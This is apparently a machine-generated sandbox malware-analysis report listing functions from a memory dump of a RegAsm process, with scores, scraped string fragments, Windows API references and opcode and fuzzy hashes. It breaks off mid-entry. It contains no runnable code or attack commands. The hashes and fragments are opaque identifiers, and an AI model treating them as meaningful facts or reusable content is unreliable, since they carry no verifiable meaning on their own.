Opcode Fuzzy Hash: 667693208df0268b9ec092dcfe9b45baca584c7d5a41cd89dd0410bc245c86b8
Instruction Fuzzy Hash: 8902F3B594C3008BC7049F29D8916ABBBF1EFD2314F15892DF4C59B351E238DA49C79A

Function 0041EB80 Relevance: 12.1, Strings: 9, Instructions: 812COMMON

Download Yara Rule

Strings

hch&, xrefs: 0041EEA8
CPm5, xrefs: 0041EEE0
uvqs, xrefs: 0041EEC0
t|f, xrefs: 0041EE88
AL, xrefs: 0041EF3D
, xrefs: 0041F25F, 0041F26A, 0041F29C
O}nl, xrefs: 0041EED8
Yxqs, xrefs: 0041EEC8
f>mI, xrefs: 0041EED0

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: AL$CPm5$O}nl$Yxqs$f>mI$hch&$t|f$uvqs$
API String ID: 0-1556426300
Opcode ID: 735fdd800c882bc2084322a437c9c924766bb235598593207dd1441ed3ed4d6f
Instruction ID: 72dbec98d39b44e021400b4b3f7dd457a245ac0fe219d5a174d4001ed2214f73
Opcode Fuzzy Hash: 735fdd800c882bc2084322a437c9c924766bb235598593207dd1441ed3ed4d6f
Instruction Fuzzy Hash: 0252467050C3918FC721CF25C8406AFBBE1AF95314F144A7EE8E45B392D739994ACB9A

Function 0042B980 Relevance: 10.3, Strings: 8, Instructions: 329COMMON

Download Yara Rule

Strings

UXWZ, xrefs: 0042BC26
220, xrefs: 0042BBE0
nV[k, xrefs: 0042BC30
AZDH, xrefs: 0042BC44
:/', xrefs: 0042BBFE
pMC@, xrefs: 0042BC3A
47:, xrefs: 0042BBD6
" , xrefs: 0042BC08

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 47:$ " $220$AZDH$UXWZ$nV[k$pMC@$:/'
API String ID: 0-3711047884
Opcode ID: a4c9283d45bc98dcba5f61ed0453037d099fbeaad371f82cb7e9938c9b68f646
Instruction ID: 65e572282dc53975798f39d0df5fbe4ea82dc72bdd677536ff169635eb849b4a
Opcode Fuzzy Hash: a4c9283d45bc98dcba5f61ed0453037d099fbeaad371f82cb7e9938c9b68f646
Instruction Fuzzy Hash: 46C169B4904B819FD320AF3A95467A3BFF0EB06300F444A5ED4EA4B795E735601ACBD6

Function 0041747D Relevance: 10.0, APIs: 4, Strings: 1, Instructions: 1238COMMON

Download Yara Rule

Strings

_^]\, xrefs: 004175C5

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: _^]\
API String ID: 0-3116432788
Opcode ID: b96ce21cf214a16ae07447a79efeb4cc0916feeea9f87c928e3a685268b8bebc
Instruction ID: 53d5d62a5b06f007e29734ec6a967500c823bb8f017ec32fffb38b320ea18f22
Opcode Fuzzy Hash: b96ce21cf214a16ae07447a79efeb4cc0916feeea9f87c928e3a685268b8bebc
Instruction Fuzzy Hash: CC8234715083518BC724CF28C8917ABB7F1EFCA324F198A6DE8D5973A5E7388845C746

Function 00426D2E Relevance: 8.0, Strings: 6, Instructions: 482COMMON

Download Yara Rule

Strings

_^]\_^]\, xrefs: 00427064
uYD\, xrefs: 00426E3D
rqB, xrefs: 0042715F
PV, xrefs: 00426DB3
X^, xrefs: 00426DA5
\R, xrefs: 00426DAC

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: _^]\_^]\$rqB$uYD\$PV$X^$\R
API String ID: 0-1627709806
Opcode ID: 3df9218c4e884d0bc4ea657edaa843c97e8fa3da6c91276e4a67d9cf42d70f5f
Instruction ID: 5825545f21314853fe0769d62852bd8f916bf307171877822417e4e5256747d8
Opcode Fuzzy Hash: 3df9218c4e884d0bc4ea657edaa843c97e8fa3da6c91276e4a67d9cf42d70f5f
Instruction Fuzzy Hash: 42F1EEB5E04318CFDB14CFA9D8816AEBBB1FF49304F18446DD642AB351D779A902CB98

Function 0040AB40 Relevance: 8.0, Strings: 6, Instructions: 481COMMON

Download Yara Rule

Strings

UMAG, xrefs: 0040AEF0
HYZF, xrefs: 0040AE40
HYZF, xrefs: 0040AE05, 0040B075, 0040B07E
Y2^0, xrefs: 0040AC7B
]><, xrefs: 0040AC83
>, xrefs: 0040AB5E

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: >$HYZF$HYZF$UMAG$Y2^0$]><
API String ID: 0-2666672646
Opcode ID: 32375935e6ef412caa3837e9f6c66e3b8adf22c54bae03c550ad84a2513a055e
Instruction ID: 560480d45fa7c8791f5dd325a32e0fd9eca2933a49feb221361dc50e24506aec
Opcode Fuzzy Hash: 32375935e6ef412caa3837e9f6c66e3b8adf22c54bae03c550ad84a2513a055e
Instruction Fuzzy Hash: 38E12A7674C7504BD324CF6888512AFBBE2DFC1304F18893EE5E5AB385DA798905878A

Function 004281CC Relevance: 7.6, APIs: 2, Strings: 2, Instructions: 593COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 004284BD
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,?,?), ref: 004285B4

Strings

_^]\, xrefs: 00428A15
LF7Y, xrefs: 00428951

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: LF7Y$_^]\
API String ID: 237503144-3688711800
Opcode ID: 26de5ca542a2a6977b9e84e77be44b5ac01a7d5cb18c837ff72e8e2a41646e8e
Instruction ID: 00d2ad6f27f0b0783341daf9d6c4bd9e01a02a9b0560c8c7bc353a94b2bfb0e2
Opcode Fuzzy Hash: 26de5ca542a2a6977b9e84e77be44b5ac01a7d5cb18c837ff72e8e2a41646e8e
Instruction Fuzzy Hash: 90221375A08351CFD3248F28E88072FB7E1BF8A310F194A7DE995673A1D7349912CB5A

Function 004283D8 Relevance: 7.5, APIs: 2, Strings: 2, Instructions: 542COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,00000000,?), ref: 004284BD
RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001E,00000000,?,?), ref: 004285B4

Strings

_^]\, xrefs: 00428A15
LF7Y, xrefs: 00428951

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: LF7Y$_^]\
API String ID: 237503144-3688711800
Opcode ID: d13f070fd010028f18266c39e4bf0995e2ea579b86d440724d5feb7531688b93
Instruction ID: 9e148bf222026bc2ff09e9b78a5b6d6e6f400f6959469ba780e6b53d717f86de
Opcode Fuzzy Hash: d13f070fd010028f18266c39e4bf0995e2ea579b86d440724d5feb7531688b93
Instruction Fuzzy Hash: F812F175A08351CFD3248F28E88071FBBE1BF8A310F194A6DE995673A1D734D942CB5A

Function 0043CDF0 Relevance: 6.9, Strings: 5, Instructions: 697COMMON

Download Yara Rule

Strings

jiP, xrefs: 0043D301
fiP, xrefs: 0043D2CF
_^]\, xrefs: 0043CE29
_^]\, xrefs: 0043D006
f, xrefs: 0043D081

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: _^]\$_^]\$f$fiP$jiP
API String ID: 2994545307-2734853458
Opcode ID: 02867def88f330cc357aa33e98f5089401e16d469949ca3e2fbae4f2ba5b0f1e
Instruction ID: 745ca490046a6ac68c59f9825e457d0a566b3cc6b4523f93947a3945e487c19a
Opcode Fuzzy Hash: 02867def88f330cc357aa33e98f5089401e16d469949ca3e2fbae4f2ba5b0f1e
Instruction Fuzzy Hash: 972213B1A0C3029FD718CF29D89072FBBE2ABD9314F189A2DE4D597395D634DC418B4A

Function 00418169 Relevance: 6.5, Strings: 5, Instructions: 299COMMON

Download Yara Rule

Strings

7, xrefs: 00418419
SP, xrefs: 00418396
2h?n, xrefs: 004183A0
^`/4, xrefs: 004181E1
gfff, xrefs: 00418458

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 2h?n$7$SP$^`/4$gfff
API String ID: 0-3257051659
Opcode ID: e0427b1a9b77ff7e65e449d5ce122ac57cd39ae6c2270757774d7d10ffd74788
Instruction ID: 27920faaac780ccf3f5efe4f99c0b1a63c78e90bde3d2871b705a1280bebe65e
Opcode Fuzzy Hash: e0427b1a9b77ff7e65e449d5ce122ac57cd39ae6c2270757774d7d10ffd74788
Instruction Fuzzy Hash: 59A14876A143504BD314CF28C8517AFB7E2FBC5318F198A3EE895D7391EA3889428786

Function 004291AE Relevance: 5.4, APIs: 1, Strings: 2, Instructions: 186COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,?), ref: 004291DA

Strings

wpq, xrefs: 004292B7
+Ku, xrefs: 004292AF

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: +Ku$wpq
API String ID: 237503144-1953850642
Opcode ID: dd00e6cff4bb86df55339bea6a97020402cd2a79317d379f18720dc196f8341f
Instruction ID: 7bb714cd0adbe8f34d65affdf2b55708b4274e5c8486b9e210027d19f02d6b7d
Opcode Fuzzy Hash: dd00e6cff4bb86df55339bea6a97020402cd2a79317d379f18720dc196f8341f
Instruction Fuzzy Hash: 6F51CE7220C3528FC324CF29984076FB7E2EBC5310F55892EE5D9CB285DB34D50A8B96

Function 004348C2 Relevance: 5.4, APIs: 2, Strings: 1, Instructions: 108COMMON

Download Yara Rule

APIs

GetSystemMetrics.USER32 ref: 00434910
GetSystemMetrics.USER32 ref: 0043491F

Strings

, xrefs: 004349F3

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID: MetricsSystem
String ID:
API String ID: 4116985748-3916222277
Opcode ID: e2dbdaae214771375078ea694cbe3190168a6d9690373aa5dbc97004a2b0131a
Instruction ID: fc399c5893f09ab22ce38e0ca23dce90b2d9510c132352c7ff6b67ebebce5796
Opcode Fuzzy Hash: e2dbdaae214771375078ea694cbe3190168a6d9690373aa5dbc97004a2b0131a
Instruction Fuzzy Hash: 725160B4E142089FCB40EFACD98569DBBF0AB48710F11852EE898E7350D734A944CF96

Function 004290D0 Relevance: 5.3, APIs: 1, Strings: 2, Instructions: 71COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,00000009,00000000,00000000,?), ref: 00429170

Strings

M/(, xrefs: 0042919E
M/(, xrefs: 0042913D

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID: M/($M/(
API String ID: 237503144-1710806632
Opcode ID: ff58c78b0b27bbba40667f193cd225ec620092edf491b3be0aa44738014710da
Instruction ID: a6fe4633539d009e024b46cdafe5f934a4e6010abeff1ae95be2d2e31fad33eb
Opcode Fuzzy Hash: ff58c78b0b27bbba40667f193cd225ec620092edf491b3be0aa44738014710da
Instruction Fuzzy Hash: 9E21017165C3615BE714CE34A88579BB7AAEBC2700F01892CA0D1AB2C5D679880B8756

Function 0042A5B6 Relevance: 5.1, Strings: 4, Instructions: 77COMMON

Download Yara Rule

Strings

VN, xrefs: 0042A520
VN, xrefs: 0042A5C6
i, xrefs: 0042A527
i, xrefs: 0042A5CD

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: VN$VN$i$i
API String ID: 0-1885346908
Opcode ID: f2560a5eb87e48c54c403f4c235dd9b7370a68364d9f3f272869781b585ee5e7
Instruction ID: 20de38ffdec1ef662448aae0f94b74d237ba66483fbda11b24aa8be7d4a8abcc
Opcode Fuzzy Hash: f2560a5eb87e48c54c403f4c235dd9b7370a68364d9f3f272869781b585ee5e7
Instruction Fuzzy Hash: B721F6212083918BD3058E6590402A7BBE3AFC6318F684A5FD8F15B395E63BC94A875B

Function 00414CA0 Relevance: 4.8, Strings: 3, Instructions: 1046COMMON

Download Yara Rule

Strings

_^]\, xrefs: 00415715
7UA, xrefs: 00415528
D]+\, xrefs: 00415380

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 7UA$D]+\$_^]\
API String ID: 0-3619184598
Opcode ID: 2e0cd4d93215bffa60c50a2cc29c154bb915ce2da521f1faa8d3ae08ee25634b
Instruction ID: 9cee455d72e7dd9915cda87ad3665199875abe0b71a1f7719e3c07a7155446ef
Opcode Fuzzy Hash: 2e0cd4d93215bffa60c50a2cc29c154bb915ce2da521f1faa8d3ae08ee25634b
Instruction Fuzzy Hash: E4524474608300DBE704DF28EC527BBB3A1FB86314F19493DE586973A1E7399981CB5A

Function 00440D20 Relevance: 2.9, Strings: 2, Instructions: 425COMMON

Download Yara Rule

Strings

, xrefs: 00440DC3, 00440EAB
@Ukx, xrefs: 00440F53

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: @Ukx$
API String ID: 2994545307-3636270652
Opcode ID: 68fd1405b344facc4b0026b9fe161e78bdc877d3fcaeb6f8274981348c185207
Instruction ID: 03a383fb22d51b403848371ba2a4540fe2b40c56cab5129fcdd4839ce92f9fe8
Opcode Fuzzy Hash: 68fd1405b344facc4b0026b9fe161e78bdc877d3fcaeb6f8274981348c185207
Instruction Fuzzy Hash: DDB17833B083104BE728CE28DCD22BBB792EBC5314F19C93DDA9657395DA399C458786

Function 00409780 Relevance: 2.9, Strings: 2, Instructions: 420COMMON

Download Yara Rule

Strings

A, xrefs: 00409922
1, xrefs: 00409A7B

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: 1$A
API String ID: 0-719046165
Opcode ID: bd1ee34c9fa08e29029345848de4dd2afdd75f18fa78b65bf56a6416e37b6555
Instruction ID: e807b6bde7ca49dc404e07dafbff5fc9189e5662c362ff5d9520ac40bf6a6c7c
Opcode Fuzzy Hash: bd1ee34c9fa08e29029345848de4dd2afdd75f18fa78b65bf56a6416e37b6555
Instruction Fuzzy Hash: 41D1E4B55083508BD718DF24C8517ABBBE1FFC5318F08896DE4D99B382DB389906CB96

Function 00422830 Relevance: 2.9, Strings: 2, Instructions: 411COMMON

Download Yara Rule

Strings

_^]\, xrefs: 00422C05
C@, xrefs: 0042285E

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: C@$_^]\
API String ID: 0-1259475386
Opcode ID: e06a379b46e52741ffd7a8eb9d43fc02087815218cdea83b303c67149d7ce589
Instruction ID: 97f681d162b0ce7800c7d58e7d4b110804466645679b58dd264a8ebd8314ce09
Opcode Fuzzy Hash: e06a379b46e52741ffd7a8eb9d43fc02087815218cdea83b303c67149d7ce589
Instruction Fuzzy Hash: A2B149A1B083206BD714DF25995273BB3F1EFD1324F59892EE88697381E27CE941835A

Function 00429739 Relevance: 2.8, Strings: 2, Instructions: 308COMMON

Download Yara Rule

Strings

,7, xrefs: 00429786
(. 7, xrefs: 0042977E

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: (. 7$,7
API String ID: 0-1315767106
Opcode ID: 3dc14f1719d0dcaf1c8e7808f16df868dad44d99b75b9089029e889b2ab59045
Instruction ID: aca24a6d404cff65d8132a2c5354bf9a6b34cab982d47b5a163a498561acaf8d
Opcode Fuzzy Hash: 3dc14f1719d0dcaf1c8e7808f16df868dad44d99b75b9089029e889b2ab59045
Instruction Fuzzy Hash: 73A1DFB190C3519FC714DF25D85262BBBE2EF86314F44892DF4D58B392E738A841CB5A

Function 0041B8F6 Relevance: 1.7, Strings: 1, Instructions: 477COMMON

Download Yara Rule

Strings

EWC`, xrefs: 0041BD43

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: EWC`
API String ID: 0-1922773688
Opcode ID: 96f336dbcf29f94cd9f9a1eaede8d54ada638bb942813ff3d340c66f321929fb
Instruction ID: 3092ec9d695e803f581415aef64df2e1d782c7e4da9fd3e94958caedbaf0e785
Opcode Fuzzy Hash: 96f336dbcf29f94cd9f9a1eaede8d54ada638bb942813ff3d340c66f321929fb
Instruction Fuzzy Hash: 20D11F746047028BC3358F28C4A26A3BBF2EF96304F18542ED5C78BB91E739E846C794

Function 0042D17D Relevance: 1.7, APIs: 1, Instructions: 152COMMON

Download Yara Rule

APIs

FreeLibrary.KERNEL32(1A11171A), ref: 0042D2A4

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID: FreeLibrary
String ID:
API String ID: 3664257935-0
Opcode ID: 78db4c3670b02004b5ce09dd30d6be68ef6f26a73c645ae10e47e490a35e64f0
Instruction ID: 8c0201977aaad96103e3db66e91fe0e05dd0d7e7661fbda8aa4fd031d2e77fc5
Opcode Fuzzy Hash: 78db4c3670b02004b5ce09dd30d6be68ef6f26a73c645ae10e47e490a35e64f0
Instruction Fuzzy Hash: 1B41F3706043828BE3158F34D9A0B63BFE0EF57318F28869DE5D64B393D63998068769

Function 0042D34A Relevance: 1.6, Strings: 1, Instructions: 398COMMON

Download Yara Rule

Strings

><+, xrefs: 0042D353

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: ><+
API String ID: 0-2918635699
Opcode ID: 3980c0afaf6dac2d4ca75895f3ce9cc4aa60152e4397ff49cad2d9ebd5e9afb7
Instruction ID: 444f218a8ad5829191449d1546b31e79214a0b4c0f4cfb8ef7368535fe843fa0
Opcode Fuzzy Hash: 3980c0afaf6dac2d4ca75895f3ce9cc4aa60152e4397ff49cad2d9ebd5e9afb7
Instruction Fuzzy Hash: 72C1E575A047418FD725CF2AD490762FBE2BF9A310F28859EC4DA8B752C739E806CB54

Function 0042B170 Relevance: 1.6, Strings: 1, Instructions: 396COMMON

Download Yara Rule

Strings

", xrefs: 0042B458

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: "
API String ID: 0-123907689
Opcode ID: d05c80c795993c871168dd86f7d1ea5d1d218413b04f758d20a6faf4e3c25647
Instruction ID: f2fd7e02527a425c6081b095c58e6bcd0ab65349b2e1505f4c1e2091d8d38838
Opcode Fuzzy Hash: d05c80c795993c871168dd86f7d1ea5d1d218413b04f758d20a6faf4e3c25647
Instruction Fuzzy Hash: 82C15872B043256BD711CE25E49076BB7D5EF84314F98892FE8958B382E738EC4487DA

Function 00429E80 Relevance: 1.6, APIs: 1, Instructions: 125COMMON

Download Yara Rule

APIs

RtlExpandEnvironmentStrings.NTDLL(00000000,?,0000001F,00000000,00000000,?), ref: 00429F6C

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID: EnvironmentExpandStrings
String ID:
API String ID: 237503144-0
Opcode ID: bf0f97b787aa3901fc489b07fc1f7d675bb90a5acac53e645be6843c85619458
Instruction ID: 56439e7850811f5116bb8c84f174b1b770b1ea540e4d3f3412480b83843e5581
Opcode Fuzzy Hash: bf0f97b787aa3901fc489b07fc1f7d675bb90a5acac53e645be6843c85619458
Instruction Fuzzy Hash: B141C1B454C341CFD3109F20A98166BBBF4EB86718F10487DE5969B292D735E507CB8B

Function 00416F52 Relevance: 1.6, Strings: 1, Instructions: 331COMMON

Download Yara Rule

Strings

t, xrefs: 004170C9

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: t
API String ID: 0-2238339752
Opcode ID: 039beb9b53b4255e9ee2e6f2bbcbd7cde69c3a8df900983a1a0d2cd4bed9f5c8
Instruction ID: 1cd3e92b5432f2ec1c5279b22e8dfdc45cf82fdb07faf4288aa06f6d08a0fcad
Opcode Fuzzy Hash: 039beb9b53b4255e9ee2e6f2bbcbd7cde69c3a8df900983a1a0d2cd4bed9f5c8
Instruction Fuzzy Hash: 15B187B05093818BD3358F25C9A13EBBBE0EFDA304F04896DD9C94B391EB395546CB86

Function 00427440 Relevance: 1.5, Strings: 1, Instructions: 264COMMON

Download Yara Rule

Strings

_^]\, xrefs: 00427465

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: _^]\
API String ID: 2994545307-3116432788
Opcode ID: b4c7d66211ae49d8fd9eccf31c03fcf250aa2d1c5501d05c3c86452f57ff21d1
Instruction ID: 2cadfa6051f0cea8981a5c3a8346752ded914f405fdfafbc00b99242be117cb3
Opcode Fuzzy Hash: b4c7d66211ae49d8fd9eccf31c03fcf250aa2d1c5501d05c3c86452f57ff21d1
Instruction Fuzzy Hash: 1A714B75B0C3205BD7149B29EC9273BB7A1DF86318F58843EE58697382E23CDC45835A

Function 00425F1B Relevance: 1.5, Strings: 1, Instructions: 259COMMON

Download Yara Rule

Strings

_^]\, xrefs: 00425F89

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: _^]\
API String ID: 0-3116432788
Opcode ID: 18627fe42d59fa6849b5f8a45ac1d7137aaf139f75de676eaf8c8d08dd2ee1c0
Instruction ID: 4542599af833d18a30e416191cc565c9845a3175e58f9edfc757ba35f46fda4c
Opcode Fuzzy Hash: 18627fe42d59fa6849b5f8a45ac1d7137aaf139f75de676eaf8c8d08dd2ee1c0
Instruction Fuzzy Hash: 8F714775A0C3508BD324CF68D89166BB7E1EFC5304F59486DE8C597362EB789842CB8A

Function 0043CA40 Relevance: 1.5, Strings: 1, Instructions: 249COMMON

Download Yara Rule

Strings

_^]\, xrefs: 0043CC20

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: _^]\
API String ID: 2994545307-3116432788
Opcode ID: a83dfb6a84884be77bbdeb245f1cea9c60f563621f19ebf7a2bdccf3372ac9f2
Instruction ID: 696eb795723ead0f6ba9be3735fd8be620dffa71c9a4400ef3d7ad22a9e3dc13
Opcode Fuzzy Hash: a83dfb6a84884be77bbdeb245f1cea9c60f563621f19ebf7a2bdccf3372ac9f2
Instruction Fuzzy Hash: C2712871A043014FDB1CDF28CCE162FBB92EB8A710F19A63EE496E7395D6349C418789

Function 0042C0E6 Relevance: 1.5, Strings: 1, Instructions: 228COMMON

Download Yara Rule

Strings

N&, xrefs: 0042C173

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: N&
API String ID: 0-3274356042
Opcode ID: 8fff828ef7096bc6de3c5e3531ef3bcfddfa3f41189f47e61279592947ff70fd
Instruction ID: 81471823a485b6705c349d61d83959a7e20011983708bf5e147628ffe1b1dd5e
Opcode Fuzzy Hash: 8fff828ef7096bc6de3c5e3531ef3bcfddfa3f41189f47e61279592947ff70fd
Instruction Fuzzy Hash: DE51F625604B904BD729CB3A98513B7BBD3ABDB310B58969EC4D7C7786CA3CE4068B14

Function 0042C09E Relevance: 1.5, Strings: 1, Instructions: 217COMMON

Download Yara Rule

Strings

N&, xrefs: 0042C173

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: N&
API String ID: 0-3274356042
Opcode ID: 09941e67317fc8cb3ce7ea217b500117e96f00fb937d19bfefd61d270a526b4e
Instruction ID: e5864593d1339f498270878ef60363620a1941cd2fe9c21c7a7607c55bfa5eb6
Opcode Fuzzy Hash: 09941e67317fc8cb3ce7ea217b500117e96f00fb937d19bfefd61d270a526b4e
Instruction Fuzzy Hash: B2512925604B904AD729CB3A98513B77BD3AF9B310F9C969DC4D7C7B86CA3C94028B15

Function 00441160 Relevance: 1.4, Strings: 1, Instructions: 167COMMON

Download Yara Rule

Strings

@, xrefs: 0044123B

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID:
String ID: @
API String ID: 0-2766056989
Opcode ID: 1bf28d208f4d471862e62771911b4b91396caa8be407dd285211548932c35c82
Instruction ID: 1aa89e2f6171c8b600b289c24d78a6f9a5b4d57d8403bbd31509dc912f19ad9e
Opcode Fuzzy Hash: 1bf28d208f4d471862e62771911b4b91396caa8be407dd285211548932c35c82
Instruction Fuzzy Hash: 0D4123B19043109BE714CF54CC56B7BBBA1FFD5354F088A2DE5855B3A0E3799844C78A

Function 00441720 Relevance: 1.4, Strings: 1, Instructions: 158COMMON

Download Yara Rule

Strings

=<32, xrefs: 0044176D

Memory Dump Source

Source File: 0000002D.00000002.1861022200.0000000000400000.00000040.00000400.00020000.00000000.sdmp, Offset: 00400000, based on PE: true

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_45_2_400000_RegAsm.jbxd

Similarity

API ID: InitializeThunk
String ID: =<32
API String ID: 2994545307-852023076
Opcode ID: 806326fabb1518b066f083a03506ad00710994454575a613e60301918d7e52c2
